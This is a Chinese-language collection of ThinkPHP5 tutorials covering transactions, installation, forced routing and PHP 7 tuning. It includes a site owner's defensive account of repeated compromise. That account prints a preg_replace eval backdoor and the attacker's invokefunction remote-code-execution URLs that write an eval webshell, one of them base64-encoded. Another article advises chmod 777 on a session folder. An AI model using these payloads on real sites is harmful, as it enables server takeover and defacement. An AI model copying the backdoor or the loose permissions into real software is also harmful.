php5

卓象程序员:ThinkPHP5实现事务功能

一、什么是事务?

事务就是一段sql语句的批处理,但是这个批处理是一个atom(原子) ,不可分割,要么都执行,要么回滚(rollback)都不执行。

通俗点举个例子:

有一天张三给李四要转钱,那么银行的数据库就要把张三的账户减去1000元(-1000),李四的账户就要增加1000元(+1000),这两个更新语句必须作为一个整体来执行,不然就会出现张三账户扣掉了1000元钱而李四账户并没有增加1000元钱,然而这种情况很难找出原因,所以就需要这俩个操作作为一个整体要么一起失败都没有执行,要么就一起成功一个增加1000元、一个减少1000元,这就是事务在实际中的具体体现。

二、事务的四个特性

1)、原子性(atomicity):原子性是指整个数据库事务是不可分割的工作单位

2)、一致性(consistency):一致性指事务将数据库从一种状态转变为下一种一致的状态。在事务开始之前和事务结束之后,数据库的完整性约束没有被破坏。

3)、隔离性(isolation):一个事务的影响在该事务提交之前对其他事务都不可见---通过锁来实现。

4)、持久性(durability):事务一旦提交,其结果就是永久性的 。

三、务依赖InnoDB存储引擎

事务的执行是需要存储引擎来支持的,那么存储引擎是什么呢?

存储引擎顾名思义就是数据库如何存储数据、如何为存储的数据建立索引和如何更新、查询数据等技术的实现方法。因为在关系数据库中数据的存储是以表的形式存储的,所以存储引擎也可以称为表类型(即存储和操作此表的类型)。

主要存储引擎:Myisam、InnoDB、MEMORY、Archive、BDB等,其中MyISAM与InnoDB的区别如下:

修改存储引擎的方法为,如图:

1、首先右键打开设计表菜单

2、选择“选项”选项卡,在第一行中的引擎下拉菜单中选择InnoDB即可;

四、执行事务的三步骤

我们还是继续刚才的转账的案例,

1、开启事务:

Start transaction

2、执行sql语句组

update account set money=money+1000 where id=2

update account set money=money-1000 where id=1

3、commit(提交事务)或rollback(回滚事务)

注意:当一个事务commit或rollback就结束了,下次还要重新开启事务;

五、在TP5中使用事务

TP5中使用事务有两种方式,一种为自动事务,一种为手动事务。

自动事务:通过执行SQL语句过程中是否抛出异常来决定事务是提交执行还是回滚处理,如下例所示,如果向test_a和test_b两个表中插入语句。

如果test_b表中id字段为自增的主键时,并且含有主键为1的数据时,插入语句会出现执行错误,TP5框架会抛出异常,如图:

此时,如果没有使用事务或者使用事务而没有使用InnoDB的存储引擎时,数据库的结果就会在test_a表中插入一条ID为13的数据,而test_b表却没有插入成功,如图所示:

如果使用事务并且也应用了InnoDB的存储引擎的时候,数据表中的数据会没有变化,ID为13的记录不会增加到test_a表中,如下图

自动事务最大的优势为代码简洁,但只能通过是否抛出异常来进行判断事务是否回滚,用法有一些限制。但手动事务即可以通过在SQL语句上增加try{}catche(){}语句来捕获异常来判断是否回滚事务,也可以通过代码的返回值来判断是否提交事务,相比较来说手动事务更加自由和方便。

手动事务:

方法一:通过是否能够捕获到异常来判断是否回滚事务

方法二:通过语句执行结果来判断是否回滚事务

最终结果如下:

六、最后总结

通过比较两种不同方式来实现事务,个人推荐采用第二种并且通过捕获异常的方式来处理事务,原因其实很简单,这样执行首先可以保证事务正常运行,而且还可以通过异常的处理保证程序的顺利执行,提升代码的健壮性,并且还可以根据实际业务情况选择通过判断语句返回值来决定是否回滚事务,这样更提升了代码的灵活性。

写在最后:在TP的事务代码调用中,既可以用DB类来调用也可以使用模型类来调用,对事务本身毫无影响,其实就是利用数据库的类将原生的事务语句加入到SQL中去执行而已。

展开
收起

ThinkPHP5安全开发多个线上攻防实验环境推荐

通过分析漏洞攻击与防御,去实现漏洞功能与修复方案;再通过图文的形式与攻防实验室的:靶场、模拟浏览器、拦截请求、代码审计实操结合,去输出实战攻击实战防御、额外干货的图文内容。

【推荐1】实践TP5框架XSS攻防最佳安全指南

通过我们的"XSS漏洞攻击与防御最佳安全开发"实验,进行深度安全实践;在ThinkPHP5框架实现纯文本、富文本便签功能的XSS攻击与防御实验环境。

实验地址:看截图

【推荐2】TP5实践0元支付逻辑漏洞安全参考

通过我们已经推出的“通用0元支付逻辑漏洞安全参考”,进行深度安全实践,在ThinkPHP5框架有真实场景实现0元支付逻辑漏洞安全参考

实验地址:看截图

【推荐3】通用型纵向越权逻辑漏洞安全指南

基于ThinkPhp框架开发,实现普通用户越权管理员用户进行新增/删除便签操作,纵向越权逻辑漏洞;从攻击复现到漏洞修复防御进行深度安全攻防实践。

实验地址:看截图

【推荐4】通用型横向越权逻辑漏洞安全指南

基于ThinkPhp框架开发,实现用户资料修改、用户密码修改、新增/删除便签,横向越权逻辑漏洞;从攻击复现到漏洞修复防御进行深度安全攻防实践。

实验地址:看截图

【推荐5】TP5框架接口签名加密通讯安全指南

通过我们已经推出的“通用API接口签名加密通讯安全指南”,进行深度安全实践,在ThinkPHP5框架有真实场景实现API接口签名加密通讯!

实验地址:看截图

【推荐6】ThinkPHP5.x 远程函数执行与sql注入

ThinkPHP5.x 远程函数执行CNNVD-201812-617与SQL注入,漏洞复现与漏洞修复实验!

实验地址:看截图

安全龙攻防实验室1.0

Web控制面板实现了多个HackingTools功能,1、类burp拦截请求、2、CodeEditor编写代码调试修复漏洞、3、类hackbar低配版。

无需VPN授权访问、1秒即可在线上启动攻击与防御实验室环境,Web控制面板自带HackingTools,简洁强大,好用。我们的线上攻防实验室不仅仅提供一个可远程访问的靶场地址那么的简单。

为什么用TP5做攻防实验靶场?

与原生PHP开发对比有啥不同呢?1、代码上更优雅;2、基于TP5上的实践;3、防御思路更清晰 4、ThinkPHP5标准MVC开发风格。

以后只用TP5做攻防实验靶场吗?

TP5只是PHP开发框架一种,只要我们安全龙想到的和你想到的都会做上去;不仅仅TP5一种开发框架,也不仅仅PHP一种开发语言。

展开
收起

「ThinkPHP5开发连载一」composer

Composer是PHP5.3以上的一个依赖管理工具。它允许你声明项目所依赖的代码库,它会在你的项目中为你安装他们。Composer 不是一个包管理器。是的,它涉及“packages”和 “libraries”,但它在每个项目的基础上进行管理,在你项目的某个目录中(例如 vendor)进行安装。默认情况下它不会在全局安装任何东西。因此,这仅仅是一个依赖管理。

Composer将这样为你解决问题:

1)你有一个项目依赖于若干个库。

2)其中一些库依赖于其他库。

3)你声明你所依赖的东西。

4)Composer 会找出哪个版本的包需要安装,并安装它们(将它们下载到你的项目中)。

composer安装

composer官网:

2.Windows安装composer

1)使用安装程序

这是将Composer安装在windows上的最简单方法。

下载并且运行Composer-Setup.exe,它将安装最新版本的Composer,并设置好系统的环境变量,因此你可以在任何目录下直接使用composer命令。

安装步骤:

①双击Composer-Setup.exe安装程序,进入安装程序。

②点击“next”,选择php.exe安装路径。

③选择composer代理,无需选择,直接下一步。

④准备安装composer,点击“Install”进行安装。

⑤下载组件

⑥安装完成

注意:1. 显示上图,则安装成功,如果报错,检查PHP扩展的OpenSSL是否打开。2. 打开openssl扩展方法:找到PHP配置文件php.ini,找到extension=php_openssl.dll,将他前面的分号去掉(完成后重启服务)。

⑦安装结束

⑧测试安装是否成功。在cmd命令下输入“composer -v”,显示composer信息则安装成功。

ThinkPHP5连载为卓象程序员原创,转载请联系卓象程序员

关注卓象程序员,定期发布技术文章

下一篇讲解“ThinkPHP5的安装”

展开
收起

windows10环境下安装thinkphp5.1详细步骤

ThinkPHP 5.1 的环境要求如下:

PHP >= 5.6.0PDO PHP ExtensionMBstring PHP Extension

Composer的安装教程

1.先下载Composer-Setup.exe,下载Composer地址: https://getcomposer.org/Composer-Setup.exe。会自动搜索php.exe的安装路径,如果没有,就手动找到php路径下的php.exe。

2.在PHP目录下,打开php.ini文件,开启openssl扩展。去掉extension=php_openssl.dll前面的分号(;)

3.把php目录添加到环境变量(和php.exe同级目录的路径)例如:D:\apache_php\php添加到环境变量path里。

4.下载composer.phar,下载Composer.phar地址:https://getcomposer.org/composer.phar 。将composer.phar文件放入php目录下,在php目录下新建一个文件composer.cmd,内容写成:@php "%~dp0composer.phar" %*保存。运行这个文件,然后打开cmd运行:composer会出现

可以运行composer --version 查看composer的版本。

5.在命令行中执行:composer config -g repo.packagist composer https://packagist.phpcomposer.com

改写Packagist 镜像至国内镜像可以加快下载速度。

最后提一下,看云上有composer的中文手册http://www.kancloud.cn/thinkphp/composer

thinkphp 5.1 Composer 第一次安装

在命令行下面,切换到你的WEB根目录下面并执行下面的命令:

composer create-project topthink/think tp5

这里的 tp5 目录名你可以任意更改,执行完毕后,会在当前目录下的 tp5 子目录安装最新版本的ThinkPHP,这个目录就是我们后面会经常提到的应用根目录。

如果你之前已经安装过,那么切换到你的应用根目录下面,然后执行下面的命令进行更新:

composer update topthink/framework

更新操作会删除 thinkphp 目录重新下载安装新版本,但不会影响 application 目录,因此不要在核心框架目录添加任何应用代码和类库。

现在只需要做最后一步来验证是否正常运行。

在浏览器中输入地址:

http://localhost/tp5/public/

如果浏览器输出如图所示:

恭喜你,现在已经完成

ThinkPHP5.1

的安装!

实际部署中,应该是绑定域名访问到 public 目录,确保其它目录不在WEB目录下面。

展开
收起

Thinkphp5开启强制路由代码示例详解(防远程攻击必备)

近期thinkphp5在2018年12月9日及2019年1月11日接连爆出的两个高危漏洞,再有很多人反映更新补丁或者升级以后还有被入侵的事情,分两个步骤处理:一:把受影响的网站程序文件最好直接用备份替换,对方很可能留了多个后门文件,如果后门文件没删除干净,还是会被持续更改首页跳转的,升级也没用;二,开启强制路由模式;

以上的说明,切记一定要保证木马文件查杀赶紧,再做处理,备份直接替换是最好的办法,当然如果你没有备份的习惯就只能自己手动查杀,或者请安全公司处理了;

但是个人在开启强制路由模式的时候,碰到两个问题,下面就说下这个两个问题,

问题1:点击网站链接直接进去会打不开,错误提示,路由未定义

问题2:比如后台的页面或者登陆页面,登陆页面可以正常展示,点击登陆的时候,由于需要post提交表单的操作,错误提示,路由未定义;

强制路由设置:

文件:application->config.php;

配置:常规配置路由规则,请自行参照官方手册,开启强制路由以后,所有的方法都需要配置,否则不能正常访问;这里不赘述;https://www.kancloud.cn/manual/thinkphp5/118019

实例解决方案:

提示:做修改之前一定要备份原有代码,因为每个人的开发环境,开发方式都可能有所不同,若有不可预见错误,可及时恢复;

A:问题1解决方案:

文件:application->route.php;

亲测本人开发环境及网站可用,此问题即可解决;

B:问题2解决方案:

前台及后台纯展示页面在开启强制路由以后展示没问题的,但是需要form表单提交数据的操作都会报错;

理论原因:常规的路由页面方法都是get,比如上图首页的路由,但是提交表单的时候一般我用的都是post方法,所以需要在控制器里面拆分展示和提交表单的方法,前端页面提交方法地址也需要修改,路由里面也需要分开设置即可;下面我将会以一个实例分别说明登录页面及登录操作

登录操作:

第一步:拆分控制器方法;

原始的代码如下:

拆分成两个方法如下:

第二步:路由文件设置:

文件:application->route.php;

二者区别在于方法,登录页面的路由方法是get,操作的话就是post;

第三步:login登录页面form表单的提交的action也需要修改:

☆☆☆小提示,控制器写方法的时候,成功跳转的链接请务必写完整

模块/控制器/方法;其他所有的方法请务必按这种思想修改完成;

文章预告:下个文章将会写一写https的设置须知以及可能有的一些小坑;

展开
收起

PHP 7.3声称速度比PHP 5快3倍还多,值得更新了!

作为PHP5的最后一个版本,也是目前使用最广泛的PHP版本,PHP 5.6始于公元2014年(不是1804年,嘿嘿),其第一个测试版PHP 5.6 alpha 1版于2014年1月发布。随机产生了第一个由国人(鸟哥,惠新宸)参与主研的性能大规模提升版本PHPNG(PHP next generation,下一代PHP),2015年基于PHPNG接着就产生PHP 7版本。PHP7带来了革命性的性能提高,其运行速率是5.6的两倍还高以及其他改善,比如64位支持、类型申明、运行时优化等。从2015年开始官方就一直推荐大家尽快升级到php7,虽然当时扩展支持还是很成问题。

根据最新的W3techs统计,目前PHP 7大概占了超过16.6%的PHP份额。 总体上PHP仍然拥有大约83%的网站服务器端开发语言的绝大多数比例。

根据PHP开发支持周期,到今年12月31日后,PHP 5.6不在有官方支持。所以现在只剩下半年时间你升级你的PHP到PHP7。此后PHP5的命运就会终结,而且就虫虫所致目前基本上绝大多数的框架和程序都已经完美的支持PHP7了。

性能测试:PHP 7.3比PHP 7.0快25%

有很多性能测试对比都揭示了PHP 7比PHP 5.6快至少2倍。下面是各大php框架心性能对比图:

下面最新Phoronix基准测试结果则显示了自PHP7发布以来PHP 7的性能对比情况。最新版本的PHP 7.3 Alpha比以初始版本的PHP 7在系能上的改善的也是相当客观的。根据最新数据PHP 7.3是比PHP 5.6快3倍!比PHP 7.0快25%。不说别的光这性能对比图就能给烈日炎炎的夏日带来丝丝凉意。而且这还可以直接体现在费用上,比如升级PHP7后,Badoo大概每年可减少100w美刀。

Badoo公司的数据:

PHP 7兼容行检查

截止目前基本上绝大多数的PHP都可以完美的支持PHP7.0了。但是可能你恰好有一些历史遗留的脚本和程序,那么也好办,社区已经有好多的工具做兼容性检查,甚至给出直接的代码转译,以下是几个值得推荐的工具:

php7cc:一个很不错的工具,不过目前已经不再更新了。(github地址: /sstalle/php7cc)

php7mar:PHP 7迁移助手,虫虫强烈推荐的工具。 (github地址:/Alexia/php7mar)

使用方法:

php mar.php -f="/path/to/project/root/" -r="/path/to/output/"

phan:PHP脚本的静态分析器。 可以做当做php 7的语法检查器。(github地址:/phan/phan)

使用方法:phan --project-root-directory --progress-bar -o phan.out

phpstan - PHP静态分析和兼容性检查工具。(github地址:/phpstan/phpstan)

PHP 7性能设置要点

1. Opcache

首先,确保已经启用了OpCache。可以通过主配置文件php.ini或它独特的配置文件opcache.ini文件(例如/etc/php/7.2/fpm/conf.d/10-opcache.ini)。来进行设置。

zend_extension=opcache.so

opcache.enable=1

opcache.enable_cli=1

可以使用phpinfo()检查,也可以通过终端命令

php -v or php -i | grep opcache.enable

确认PHP OpCache已启用后,很多的ln(a)mp套件都有一个opCache监控脚本,可以对其系能进行实时监控,如下图

2、设置合适的realpath_cache_size

通过设置合宜的realpath_cache_size值可以改善你服务器的并发:

realpath_cache_size = 256k

realpath_cache_ttl = 300

3、禁止mysqlnd.collect_statistics

mysqlnd.collect_statistics = Off

mysqlnd.collect_memory_statistics = Off

线上服务器选择禁止这两个选项,可以减少不必要的数据库访问。如果需要相关统计,可以使用MySQL工具或者监控。

4、使用新的编译器

GCC 4.8编译器下编译时PHP才能开启Global Register for opline and execute_data支持, 这个会带来5%左右的性能提升。

5、开启Transparent HugePage (透传大页)

内存默认是以4KB分页的,而虚拟地址和内存地址需要转换,转化时候需要进行搜索,为了加速转换过程,可以通过内存TLB(Translation Lookaside Buffer)来。所以通过启用大内存页可以增加TLB 缓存命中,从而提高性能。

设置系统支持:

sysctl vm.nr_hugepages=512

php.ini 增加支持

opcache.huge_code_pages=1

关于这个值,很多实践后发现启用透传大页面后会带来系统负载过高,cpu占用过高问题,这时候通过关闭就可以解决。所以这个参数需要实际情况斟酌测试使用。

6、开启PGO

PHP是专门为一个项目服务,比如一个 Wordpress或者drupal站点,就可以使用PGO提高性能。

展开
收起

thinkphp5搭建的官网被远程执行代码反复挂木马的解决方案

本文只适合初级站长,如果有高手,对于解决办法有更好的建议,也希望能够指点一二

挂马背景情况:个人负责某家公司的官网(先前无任何安全方面经验的纯小白一枚),就是只是负责展示的官网,是自己用thinkphp5.011搭建的自定义后台,A:分别于2018年12月24日发现被黑客攻击,篡改了入口文件index.php,强制全站跳转至一博彩网站;修改过以后,因为不知道是木马文件持续修改,也不知道怎么查杀木马文件,与12月27日凌晨5点,再次篡改首页;学习web攻防并处理过后(具体处理方法见下文)不再能篡改入口文件;

B:因不能篡改首页跳转,黑客利用thinkphp漏洞远程执行代码,注入一句话后门木马文件,在我的uploads文件夹中上传黄色不健康相关页面,然后用IP刷投诉,导致官网链接在微信平台中不可打开,找到并删除以后,清除缓存以后,微信平台申请解封,至2019.1.25日,网站都暂无任何安全问题;

若各位中小站长有类似被挂马的情况,可以此为参考解决网站的基本安全问题;

一句话木马知识技术论坛有很多介绍,各位可自行学习

另外我还专门报了一个WEB攻防的网课,各位可自行学习;

A:阶段1:第一次被挂马+修改过入口文件后再次篡改首页:背景:由于官网项目入口文件index.php放在网站根目录下,黑客利用tp漏洞,构造特定的请求,可直接GetWebShell,在缓存文件夹,根目录->runtime->temp文件夹里置入了类似缓存文件的网站后门文件.php,文件名伪装的太好,阿里云的木马查杀服务没有查杀出来,大家可以了解一下,代码如下:

<?php

function fun()

{return $_POST[‘hacker’];}

@preg_repalce(“/test/e”,fun(),”test test test”);

echo “OK666”

?>

第一次被攻击以后,阿里云查杀了大部分木马文件,除了这个文件,故在我修改过index.php以后再次篡改了首页,中间大概有两天时间恶补了常规攻防技术,但是以防万一,自己是直接拿先前的备份文件直接替换;

解决方案:

问题:缓存漏洞;

原因:因为我把入口文件放在了根目录下,这也是官方不建议的,造成对方利用缓存漏洞挂马;

解决方法:二次攻击以后,无法确保木马文件是否查杀完毕,直接用备份替换了网站文件,将网站程序入口文件及.htaccess文件移动至public文件夹(网站程序唯一对外可访问资源文件夹)及修改入口文件相应代码;并且针对public文件夹下的文件及文件夹给到保证网站正常展示的最低权限;

备注:更换入口文件,入口文件里面的代码路径是需要修改的,各位如果对可参照官方说明,如果需要我上移动前后的对比图,可在评论里回复;

针对查杀木马:三种推荐方式:1),如果有备份,建议直接备份替换,这种最彻底;2),采用查杀工具,但是这种我认为不靠谱,需要再加以手动查杀;我用的是notepad++,点击 文件-在工作区打开文件夹(网站文件下载下来的文件夹),添加好以后,右击在文件中查找;分次查找@eval,@preg等你可能认为的攻击方式,及其他一句话木马文件的存在形式;3),如果你认为这些都不行,那就付费请靠谱的查杀公司来处理了,因为个人还没用到这块,并无推荐;

B:阶段2:

阶段1处理过后,对方无法修改我的篡改我的首页以后,刻意在我的uploads文件夹的某个文件夹下上传了黄色的页面,并且刷IP投诉,导致官网在微信平台被禁止访问;

☆☆☆:这里需要着重说一下,在对方投诉成功之前,我已经发觉对方入侵了,但是没有改成我的首页,也没有其它可以的文件,但是刷了很多空文件夹,我觉得没有什么,事实上这是一个障眼法,隐藏了真正的后门文件,就是我原本的下级文件夹里面,导致我没有及时查杀出来;所以,如果你发现对方一旦入侵,一定要彻底查看网站文件;

入侵原因:官方,2018.12.9日,及2019.1.11日披露的两个漏洞情况,如下,

2018.12.09

由于ThinkPHP5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接GetWebShell。

2019.1.11

由于ThinkPHP5框架对Request类的method处理存在缺陷,导致黑客构造特定的请求,可直接GetWebShell。

影响版本

ThinkPHP 5.0系列 < 5.0.24

以下为官方的安全更新及升级说明:

https://blog.thinkphp.cn/869075:2018.12.09安全更新

http://www.thinkphp.cn/topic/60992.html:2019.01.11 5.024安全版本更新

我的thinkphp版本为5.011从开始学习tp就没更新过,也没关心过安全问题,总认为不会有人来攻击我这个小官网;这个需要检讨;下面分享以下黑客的入侵代码:

index.php/?s=index/%5Cthink%5Capp/invokefunction&function=assert&vars%5B0%5D=phpinfo().fputs(fopen('lx.php','w'),'CnLuXun%3C?php%20@eval($_POST%5B'lx'%5D);?%3E');\" "="">index.php/?s=index/%5Cthink%5Capp/invokefunction&function=assert&vars%5B0%5D=phpinfo().fputs(fopen('lx.php','w'),'CnLuXun%3C?php%20@eval($_POST%5B'lx'%5D);?%3E')

index.php/?s=index/%5Cthink%5Capp/invokefunction&function=assert&vars%5B0%5D=phpinfo().fputs(fopen('lx.php','w'),base64_decode('Q25sdVh1bjw/cGhwIEBldmFsKCRfUE9TVFsnbHgnXSk7Pz4='))

黑客是可以通过类似的代码获取服务器的权限。

处理步骤1:最开始并没有直接升级,而是按照漏洞处理的方式替换了File.php(第一个)以及Request类的method处理漏洞处理。(官方不建议,如果不升级可能还会有攻击);

处理步骤2:升级:备份了网站文件的核心文件夹:thinkphp,直接下载5.024,替换了这个文件夹,因为只是官网,只是正常的增删改查,所以无缝升级成功了。

C阶段3:开启强制路由(很有必要);

通过升级处理过后,网站就没有入侵了,但是官方建议强制路由还是很有必要的,所以花了一些时间处理,强制路由对于我这种小白站长,有两个问题,1,首页强制路由以后打不开,2,后台只要涉及到需要POST提交表单的,路由就会有问题,这篇文章的篇幅已经很长了,我将会后面单开一个文章专门说下强制路由在实际操作中碰到的问题;

整个木马查杀的过程就是这样,小白站长每天需要做这样几件事:

1,每日查看访问日志,学会分析访问日志,如果用了阿里云的CDN的,CDN后台有分析功能;(查看代码200的链接,但是你又不认识,十有八九是攻击了);

2,使用thinkphp框架的一定要每天查看一下Tp官网的安全更新,这样不保证你的网站不被攻击,但是可以保证你可以第一时间解决这个问题;

3,不管你是不是小白还是高手,网络安全都是非常重要的,网站程序安全,服务器安全(新买的服务器还被SSH攻击过,后面会把我的处理方法同样分享出来,敬请关注),账号安全,都是需要给予10分的注意;

4,备份!!!备份!!!备份!!!重要的事情说三遍,我现在都是网站程序3天备份,有大修改就即时备份,数据库文件是每天备份,千万别偷懒;

第一次碰到被挂马,说实在的,当时极度紧张,虽然很快就处理掉了,但是这一个月是非常非常的难熬,但是经过多次挂马,篡改,挂页面,自己学习处理,不仅在技术上得到了一定的提升,心理承受能力也好了很多,网络攻击是一直都在的,各位一定要学会自我调节,

要对漏洞,木马,网络攻击习以为常,心态要摆正,积极提高技术才是正道。

展开
收起

ThinkPHP5的环境搭建与程序安装

thinkphp框架的使用需要安装php、apache和sql,在windows下可以使用phpStudy来快速搭建运行环境,适合新手在家里电脑操作学习。

首先网上搜索phpStudy下载后是一个压缩包,打开后直接点击phpStudy*** ***位置是版本号,直接全部默认下一步即可。

解压安装phpStudy

安装完成后,点击“切换版本”来选择我们需要的php版本,最新的php是7。

phpStudy版本切换

点击切换版本后会出现php+apache 、php+Nginx、php+IIS的选择,如果安装了iis的话,可以选择iis,这里我们使用php5.6+Apache的版本。

phpStudy设置php5.6+Apache

由于5.5以上版本需要安装vc运行库,所以会出现如下提示,点击确定后会弹出一个网页,网页中有对应运行库的下载地址。

提示缺少vc运行库

网页中有对应版本的下载说明,点击下载的地址后就能够下载对应的程序,也可以自行百度vc11 进行下载。

下载vc11

下载后点击vc11 32位的压缩包,如果你的电脑是64位的,需要下载64的vc11。直接双击安装即可,没有多余设置。

vc11

接下来下载php框架thinkphp的程序,进入图片中地址可以下载到thinkPHP5.0.20版本的完整版。

thinkPHP5下载

下载完成后,我们需要建立一个站点用来存放程序文件,在phpStudy中点击“其他选项“ -> 站点域名管理。

phpStudy建立站点

输入域名,这里是本地,可以输入127.0.0.1或者localhost都行,网站目录可以是你硬盘上的任何文件夹,默认文职是phpstudy安装目录下的WWW文件夹,点击新增后再点击保存设置并生成配置文件即可。

phpStudy设置站点属性

下面来修改一下站点的运行目录,由于thinkPHP的入口是在public下,所以这里需要修改一下,点击”其他设置“->打开配置文件->vhosts-conf

vhosts-conf

配置文件会以一个文本文件的方式打开,你会看到documentroot和directory的路径是一样的,只需要在documentroot后面加上\public就可以了,点击保存。

vhosts,conf文件内容

修改设置后需要重启一下apache才能生效。

重启phpStudy

将下载到的thinkphp5解压,可以得到下图中的内容,把所有文件复制到网站的根目录,也就是之前设置中那个WWW\web的文件夹内。

thinkphp所有文件

到这里,就可以去试试了,在浏览器中输入127.0.0.1会得到下面这个内容,如果出现,说明已经安装成功了。

thinkPHP安装成功

展开
收起

ThinkPHP5那些事儿

程序猿?开发?软件?其实我们只是会用工具而已,解决工作中的问题,如果有一丝提高效率,那就不错了;不是我们非的万能,而是被逼的,前端开发包括很多,不只是会写html,css,js,我们必须有产品思维,如何让一个产品让用户喜欢,而不是我们觉得很酷,然而用户不感冒,所以技术无高低,重要的是如何让有限的技术发挥最大的威力!学习PHP也就是为了解决难题,什么难题?比如你做网站,不可能都是前端吧,没有数据,你怎么办,前端就是一个数据展示与收集的用户界面,而数据源在后端,有价值的数据要后台提供,那么谁来做这个传送带呢,那就是服务器了,所以掌握一门后端边城语言,也是非常重要的。

后端编程语言那么多,为何青睐PHP呢,因为简单,虽然nodejs现在也很火,而且大数据,弹性计算很强,然而很多需要服务器支持,而目前大多服务器都支持PHP,而且学习起来也很简单;语言之间的语法都是相通的,PHP也有变量,类型等;面向对象还有class;运行于服务器环境,执行速度也很快。其中很著名的框架就是ThinkPHP,学习起来很简单;下面我们仔细看看:

一、首先我们必须搭建好web服务器环境,这里以Apache+PHP+Mysql为例;当然在配置服务器的时候会有很多坑,说几个最常见的,phpMyadmin打不开或者显示

phpMyadmin打不开

这种问题其实是session.save_path的问题,一个可能是路径不存在,还有一个就是权限问题了;没有文件我们创建就好了

mkdir session_path

chmod -R 777 session_path

一般情况下这样就可以解决了,然而不如意事太多了,可能你什么办法都试了,还是不行,其实是我们忽略一个地方,那就是路径本身,我们一般会在/etc/php.ini 文件修改,然而有时候我们必须重视

php_session

此时修改箭头所指路径的权限就可以了;还不行的话修改phpMyadmin路径下config.inc.php中$cfg['blowfish_secret']=“随意了”;差不多就可以了!

二、引入ThinkPHP框架,官网说的很详细,然而结合实际,我们的网站目录是根目录,不是Public,所以我们需要单独设置:

定义目录

由于tp5(ThinkPHP5)不会自动生成项目目录,除非我们配置build.php;这样也允许我们自由配置我们的项目目录结构:

tp5项目结构

a、项目配置中我们可以配置项目默认模块,默认控制器,还有全局替换变量,路由模式等;相比tp3来说无需设置模块,文件夹就是模块;

b、单独数据库配置文件,能让我们避免反复修改导致其他问题,温馨提示数据库配置中用户名和密码不要明文设置,可以base64或者其他;

c、这里我们将前后台模块分离,在common中我们初始化全局配置,比如我们定义一个BaseController来实现全局统一操作,其他控制器均继承他,比如权限控制,我们可以在$beforeActionList中定义验证,这样子类无需反复定义调用,基类即可完成;当然前端模块我们也可以定义一个,来实现通用渲染,比如导航渲染,在父类的前置操作中完成;方便我们修改,

三、常用操作

a、数据库操作db('',[],false)这样可以提高性能,避免反复连接造成内存问题;

b、模板标签循环volist,语法{volist name="php变量" id="每一项引用"}{/volist};切莫忘了关闭标签;

c、条件标签{if condition=""} {else /} {/if}

d、模板复制return $this->assign("变量名" ,"变量值");

e、返回模板return $this->fetch();

f、php抓取数据phpQuery,有封装好的QueryList

展开
收起

ThinkPHP5框架使用快速入门

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。

一、安装ThinkPHP5

安装需求:PHP版本不得小于5.4;

1、从官网进行下载安装

2、通过composer进行安装

如果还未安装composer,请先安装composer并配置环境变量

运行如下命令,进行安装:

composer create-project topthink/think=5.0.* tp5 --prefer-dist

3、通过git安装

3.1、运行如下命令,安装thinkphp的应用项目

git clone https://github.com/top-think/think tp5

安装成功后的界面:如下图所示

3.2、进入到刚才已下载的tp5目录下,运行如下命令,安装thinkphp的核心框架

git clone https://github.com/top-think/framework thinkphp

安装成功后的界面:如下图所示

安装完成,验证是否安装成功,在浏览器中输入:http://hostname/tp5/public/

如果浏览器显示如下图所示,则说明框架安装成功。

二、目录结构框架的目录结构,如下图所示:

application:应用目录

index:模块目录

index/config.php:模块配置文件

index/common.php:模块公共函数文件

index/controller:控制器目录

index/model:模型目录

index/view:视图目录

config.php:应用配置文件

command.php:命令工具配置文件

common.php:应用公共函数文件

tags.php:应用行为扩展定义文件

extend:扩展类库目录

public:WEB 部署目录(对外访问目录)

static:静态资源存放目录(css,js,image)

index.php:应用入口文件

.htaccess:用于apache重写

router.php:快速测试文件

runtime:应用的运行时目录

vendor:通过composer安装的第三方类库目录

thinkphp:系统核心目录

lang:系统语言包目录

library:框架核心类库目录

tpl:系统模板目录

base.php:基础定义文件

route:路由配置目录

三、ThinkPHP框架最基本的架构

thinkphp是基于MVC模式开发的,业务逻辑、数据、界面显示分离,将业务逻辑聚集到一个部件里面,在改进和个性化定制界面及用户交互的同时,不需要重新编写业务逻辑。

1、入口文件

用户发起的请求都会经过应用的入口文件,通常是 public/index.php文件。入口文件的内容如下:

在入口文件index.php中加载了基础文件base.php文件,在base.php中干了这样一些事情:

载入Loader类

注册自动加载

注册错误和异常处理机制

实现日志接口

注册类库别名

加载完基础文件之后,最后在index.php中执行应用并响应。

2、应用

ThinkPHP的应用是一个管理系统架构及生命周期的对象,由系统创建完成,应用通常在入口文件中被调用和执行,每个应用都具有自己独立的模块、config配置文件以及common公共函数文件。

3、模块

一个应用是可能是由多个模块组成的,通俗的来说,这些模块即为该应用目录下面的一个个的子目录,每个模块都有自己独立的MVC结构、config配置文件以及common公共函数文件。

注:模块名称请避免使用PHP保留关键字,否则会造成系统错误。

4、控制器

控制器主要负责接收发送过来的请求,并调用相关的模型业务逻辑的数据处理,并最终将用户请求数据渲染到视图页面上。

5、模型

模型类通常完成实际的业务逻辑和数据封装,并返回和格式无关的数据。在定义模型时,要注意和表名对应,因为框架中的模型会自动对应数据库中的数据表。在ThinkPHP中模型类的命名规则是除去表前缀的数据表名称,命名方式采用的驼峰命名法,而且模型的首字母要大写。

6、视图

视图接收从控制器渲染过来的数据,将数据渲染的成用户可见的页面。

7、命名空间

命名空间是程序设计者命名的内存区域,程序设计者根据需指定一些有名字的空间域,把一些全局实体分别存放到各个命名空间中,从而与其他全局实体分隔开。

通俗的说,每个名字空间都是一个名字空间域,存放在名字空间域中的全局实体只在本空间域内有效。名字空间对全局实体加以域的限制,从而合理的解决命名冲突。

展开
收起